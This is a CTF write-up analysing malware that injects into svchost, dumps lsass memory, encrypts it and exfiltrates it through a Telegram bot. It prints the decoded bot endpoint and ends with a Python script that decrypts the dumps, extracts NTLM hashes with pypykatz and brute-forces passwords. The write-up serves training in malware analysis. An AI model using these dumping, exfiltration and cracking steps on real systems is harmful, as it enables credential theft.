lsass
Scan result
Descriptions
hints
basic static analysis
floss
capa
Basic dynamic analysis
Processexplorer
ProcDot
Advance static
Advance Dynamic analysis
Noted
note2
DLL
DIE
floss
capa
bearparser
basic dynamic
procmon
ProcDot
Advance analysis
Scan result
[Link]
b9ce824676d7
Descriptions
Disclaimer: This is real malware. Do not run it on your primary device.
Several of our company's devices have been compromised, and we have
identified a suspicious file. Additionally, we are concerned that the threat may
spread to other devices. Could you assist us?
lsass 1
hints
The company has a failed policy regarding passwords, which are lowercase letters
and numbers, and are between two and five characters long.
basic static analysis
lets see what we deal with
we can see the file has language c/c++ .
detect packer “maybe false positive”.
and it’s x64 binary.
floss
lsass 2
notice there is no suspicious and the imported windows APIS looks like legitimate
functions and nothing interesting here.
capa
lsass 3
according to malware behavior catalog “MBC” we can notice that it use xor,
syscalls and parse export address table.
now we can build overview we have malware parse export address table → this
maybe for API HASHING.
and syscalls to evade detection → we must have syscall instruction that provides
low-level access to the operating system (notice that syscall id defer from
windows version to another so we must have function to search correct syscall
id).
lsass 4
And need administrator for set Debug privilege to adjust the memory of any
process.
readmore [Link]
constants
We don’t have any IOC’s now, but we have overview about what techniques that
the malware use.
Basic dynamic analysis
Processexplorer
we have nothing interesting.
ProcDot
lsass 5
did you see the flag?
Advance static
let’s start with ida.
main
The program start with call function sub_140002370 .
lsass 6
it just delay the execution and fill import address table with legitimate WINAPI’s.
back to main function it then call sub_140002C10 .
initialize syscalls
lsass 7
Execution begins with a call to sub_140001000 , passing 0xAD0EFC65LL as its argument.
GetModuleHandle by hash
let’s explain some function quickly.
sub_140002BA0 Get ProcessEnvironmentBlock [Link]
us/windows/win32/api/winternl/ns-winternl-peb.
sub_1400013E0 memset.
sub_1400012E0 string copy.
sub_140001350 to upper.
sub_140001280 hashing.
now let’s analyze it.
the functions check if parameter is not null then go to the loop.
start fetching Ldr→[Link]
[Link]
lsass 8
peb_ldr_data
Which point to LDR_DATA_TABLE_ENTRY which is a data structure representing a loaded
module or a DLL in a process. It contains information about the module, such as
its base address, size, entry point, and various flags.
iterate through each module then convert it name to uppercase then, Compare the
hash of each module with a pre-calculated hash, if match return address of this
module.
[Link]
[Link]
libloaderapi-getmodulehandlew
[Link]
should-care-77c5135d9aaa
now you can implement the hash or debug the program to see it 😃.
back to sub_140002C10 , then it store some values in *(a1+4) and call other function
sub_1400010B0 with arguments DLL from previous function and other hash.
lsass 9
GetProcAddress By Hash
we can take look in capa MBC RULES to understand this functions parse PE header &
resolve function by parsing PE exports , the function has same RVA.
basically this function retrieves the address of an exported function by hash.
start with check if the first parameter is valid PE File or not then parsing NT
headers , then go to Optional Headers from optional header we can access
DataDirectory finally fetch export address table.
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;//number of names
DWORD AddressOfFunctions; // RVA contain address of each function
DWORD AddressOfNames; // RVA contain WINAPI function names
lsass 10
DWORD AddressOfNameOrdinals; // RVA contain ordinal number
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
so we search for name based on hash as previous then if we find it return the
Address of function.
take look here.
[Link]
[Link]
libloaderapi-getprocaddress
[Link]
[Link]
Export-Directory-Table/#
back to sub_140002C10 skip the loop because we will see it in sub_140002BB0 .
find syscall id
this function search for syscall id in specific address based on pattern.
to avoid copy invalid syscall we must compare if we reach any of these values
0f05 → (translated to syscall instruction)
lsass 11
c3 → (ret translated to ret instruction)
if we reach it we not have valid syscall id.
if the xor result = 174
which mean we have this pattern.
mov r10,rcx
mov eax,ssn
so we have syscall id return it.
we can consider the program until now.
sub_140002C10 → syscall setup.
sub_140001000 → GetModuleHandle by hash.
sub_1400010B0 → GetProcAddress by hash.
sub_140002BB0 → find syscall id.
sub_1400013E0 → memset.
sub_1400012E0 → string copy.
sub_140001350 → to upper.
sub_140001280 → hashing.
back to main , it loadlibrary advapi32 and used custom hashing to resolve
functions as above so to make every thing clear we can start debugging the
malware.
Advance Dynamic analysis
set breakpoint in syscall setup, after calls to GetProcAddress by hash.
lsass 12
identify address of syscalls
the rax registers hold address of windows API’s address that returned from
GetProcAddress by hash.
we found these apis.
NtAllocateVirtualMemory
NtCreateThreadEx
NtClose
NtCreateSection
NtMapViewOfSection
NtWaitForSingleObject
NtOpenProcess
NtUnmapViewOfSection
back to main we found these
found hidden windows API’s
lsass 13
this mean there is a process enumeration.
enable debug privillage
here we can see it enable Debug Privilege (require admin) for Debug and adjust
the memory of any process.
search [Link] by hash
we can see it search for process by hash BB555025 which is [Link].
now we have these calls.
lsass 14
SetSyscallID function
this is first function it’s called with argument RCX = 0xf.
we can see it just set global variable with value of RCX.
syscallstub function
this second call take one argument RCX = 0xc0, also we can see it mov data from
global variable in first function in eax then execute instruction syscall.
based on these info the global variable is syscall id, the first function is
SetSyscallID and the second function is syscall stub.
Syscall NtOpenProcess
we can see call to NtOpenProcess with process ID 0x2a4 stored at R9 register,
[Link] has this process.
lsass 15
decryption function
these function for decryption used trivium Cipher so don’t warry about it.
Noted
the malware use process mapped injection with shellcode reflective dll injection.
read it from here [Link]
mapped-sections.
[Link]
we can set breakpoint at address of ret instruction and search for memory region
with type MEM_MAPPED and protection RX in [Link].
[Link] memory
let’s inspect it.
lsass 16
inspect memory
save this dll in disk to analyze.
note2
without inspection once you found the correct PID you can dump the process and
use binwalk.
our process will unmap his mapped memory.
DLL
DIE
we can see it DLL build with c or c++.
floss
lsass 17
floss on dll
we can see a lot of interesting things here we have path ,DLL’s , user agent,and
telegram API token to exfiltrate data.
capa
lsass 18
capa result from dll
we see most of rules match the injector except it provide HTTP Communication
and ReadFile.
because the file is dll , normally must export at least on function to be used from
other executables.
bearparser
you can use pestudio or ida or any tool you like , let’s see exports.
this exported function with name Go and RVA 1900.
don’t forget collect IOC’s 😃.
lsass 19
basic dynamic
because we have DLL we can run it with [Link] <dll name> , <exported
function>
procmon
procmon indicator of create temp file
we can see the DLL start with create temp file in path
C:\Windows\Temp\[Link]
procmon indicator of minidump
lsass 20
we can see here the malware dump information from [Link] .
it use MiniDumpWriteDump WINAPI.
ProcDot
Just to verify, the IP isn’t visible because I’ve isolated my environment
procdot result.
Advance analysis
go function
the program start with call sub_180001A80 with argument global variable.
lsass 21
initialize WINAPI’s function
from here you have to options implement hash algorithm and rename functions, or
debug it.
I decide to debug the program.
start x64 with admin and use [Link] and change command line to debug the
program.
memory map
we need to found go function.
so add RVA to address of .text section.
lsass 22
Go Function
set breakpoint after call initialize WINAPI’s function and press enter.
after deobfuscate
every thing clear we can analyze it.
find [Link] by hash
lsass 23
we can see the DLL is use WTSEnumerateProcessesA to enumerate process in
system and find [Link] by hash.
enable debug privilege
to allows svchost to debug and get memory content of [Link]
obtain handle to lsass process and call dump function.
here we will get handle to lsass process and call dump function with arguments
handle to lsass and this handle.
as we can see the process start with create temp file then take memory snaphost
from lsass process, after that call minidumpwritedump.
now we can rename function names with IDA.
lsass 24
we can see the function start with create temp file, then take snapshot from
[Link] and dump this snapshot.
after that read the temp file.
we can see calls to sub_180001610 , and sub_180001530.
let’s see them.
schedule key
this functions copy first parameter to second one, make sure debug it because the
second parameter is 2d array , the decompliation not always correct .
lsass 25
encryption algorithm
is like cast , the reverse of this function is take same operation but in reversed
order “start with round 16”.
back to dump function it then use CryptBinaryToStringA to convert encrypted to
base64 url encoded.
then call sub_180001CF0.
lsass 26
c2
the function start with call sub_180001490 basically it Caesar cipher, from
“UserAgent” we can indicate this function it establish connection.
let continue debug.
lsass 27
we can see CryptBinaryToStringA convert encrypted to base64 url encoded.
and call other function.
c2 function
set breakpoint before WinHttpConnect follow dump of RDX.
we will find this.
61 00 70 00 69 00 2E 00 74 00 65 00 6C 00 65 00 a.p.i...t.e.l.e.
67 00 72 00 61 00 6D 00 2E 00 6F 00 72 00 67 00 g.r.a.m...o.r.g.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
43 00 6F 00 6E 00 74 00 65 00 6E 00 74 00 2D 00 C.o.n.t.e.n.t.-.
54 00 79 00 70 00 65 00 3A 00 20 00 61 00 70 00 T.y.p.e.:. .a.p.
70 00 6C 00 69 00 63 00 61 00 74 00 69 00 6F 00 p.l.i.c.a.t.i.o.
6E 00 2F 00 78 00 2D 00 77 00 77 00 77 00 2D 00 n./.x.-.w.w.w.-.
66 00 6F 00 72 00 6D 00 2D 00 75 00 72 00 6C 00 f.o.r.m.-.u.r.l.
65 00 6E 00 63 00 6F 00 64 00 65 00 64 00 0D 00 e.n.c.o.d.e.d...
0A 00 00 00 00 00 00 00 00 00 8F 07 DF 01 00 00 ............ß...
2F 00 62 00 6F 00 74 00 38 00 32 00 39 00 33 00 /.b.o.t.[Link].
37 00 39 00 30 00 31 00 38 00 32 00 3A 00 41 00 [Link].8.2.:.A.
41 00 45 00 4C 00 36 00 71 00 73 00 52 00 71 00 A.E.L.6.q.s.R.q.
6E 00 71 00 39 00 4B 00 50 00 59 00 37 00 35 00 n.q.9.K.P.Y.7.5.
51 00 63 00 45 00 61 00 57 00 65 00 33 00 78 00 Q.c.E.a.W.e.3.x.
lsass 28
53 00 51 00 5F 00 79 00 79 00 55 00 4F 00 4A 00 S.Q._.y.y.U.O.J.
34 00 73 00 2F 00 73 00 65 00 6E 00 64 00 4D 00 4.s./.s.e.n.d.M.
65 00 73 00 73 00 61 00 67 00 65 00 00 00 00 00 e.s.s.a.g.e.....
this hexdump represent values decrypted from caeser cipher , we can see bot
token, header and url.
read telegram api doc.
to avoid risk or steal info from player devices i disable bot during CTF.
lsass 29
download encrypted files from drive.
decrypt them and extract ntlm hashes using pypykatz, sharpkatz or mimikatz.
then crack them manually or use crackstation.
from [Link] import MD4
from [Link] import long_to_bytes
from base64 import urlsafe_b64decode
from itertools import product
from string import digits,ascii_lowercase
from subprocess import getoutput
lsass 30
import struct
BLOCK_SIZE = 8
ROUNDS = 16
KEY_SIZE = 16
ntlms = []
CHARS = digits+ascii_lowercase+'_'
key = [0xdeadc0de, 0xc0febab7, 0xfaceb004, 0xdad7ea57]
def f1(d, k):
I=d^k
Ia = (I >> 16) & 0xFFFF
Ib = I & 0xFFFF
f = (Ia + Ib) & 0xFFFF
return (d + f) & 0xFFFFFFFF
def f2(d, k):
I=d^k
Ia = (I >> 16) & 0xFFFF
Ib = I & 0xFFFF
f = (Ia + Ib + 1) & 0xFFFF
return (d ^ f) & 0xFFFFFFFF
def f3(d, k):
I=d^k
Ia = (I >> 16) & 0xFFFF
Ib = I & 0xFFFF
f = (Ia - Ib) & 0xFFFF
return (d ^ f) & 0xFFFFFFFF
# --- key schedule ---
def cast_key_schedule(key):
subkeys = []
for _ in range(ROUNDS):
[Link]([key[0], key[1], key[2], key[3]])
return subkeys
lsass 31
def cast_decrypt_block(block, subkeys):
left, right = block
for i in reversed(range(ROUNDS)):
temp = right
if i % 3 == 0:
right = f1(right, subkeys[i][0])
elif i % 3 == 1:
right = f2(right, subkeys[i][1])
else:
right = f3(right, subkeys[i][2])
right ^= left
left = temp
return (right, left)
def cast_decrypt(data: bytes, subkeys):
out = bytearray()
for i in range(0, len(data), BLOCK_SIZE):
block = data[i:i+BLOCK_SIZE]
left, right = [Link]("<II", block)
l, r = cast_decrypt_block((left, right), subkeys)
[Link]([Link]("<II", l,r))
return bytes(out)
def decrypt_file(inp,output):
with open(inp,'rb') as f:
with open(output,'wb') as ff:
while True:
data=[Link]().strip()
if not data:
break
data = urlsafe_b64decode(data)
bk = cast_key_schedule(key)
data = cast_decrypt(data,bk)
lsass 32
[Link](data)
print("done : "+inp)
inp = [f"dmp{i}.enc" for i in range(2,14)]
out = [f"dmp{i}.dmp" for i in range(2,14)]
for i , j in zip(inp,out):
decrypt_file(i,j)
for i in range(2, 14):
output = getoutput(f"pypykatz lsa minidump dmp{i}.dmp").splitlines()
nt = list(filter(lambda line: "NT:" in line, output))
[Link](nt[0].strip().replace("NT: ", ""))
### or on linux
#for i in $(ls | grep .dmp | sort);do echo "$i";nt=$(pypykatz lsa minidump $i);e
cho $nt | grep "NT" | head -n 1;done > output
for nt in ntlms[:]:
for i in range(3,6):
found = False
for string in product(CHARS,repeat=i):
guess = ''.join(string).encode('utf-16le')
ntlm = [Link](guess).hexdigest()
if ntlm == nt:
found = True
print(''.join(string))
break
if found:
break
lsass 33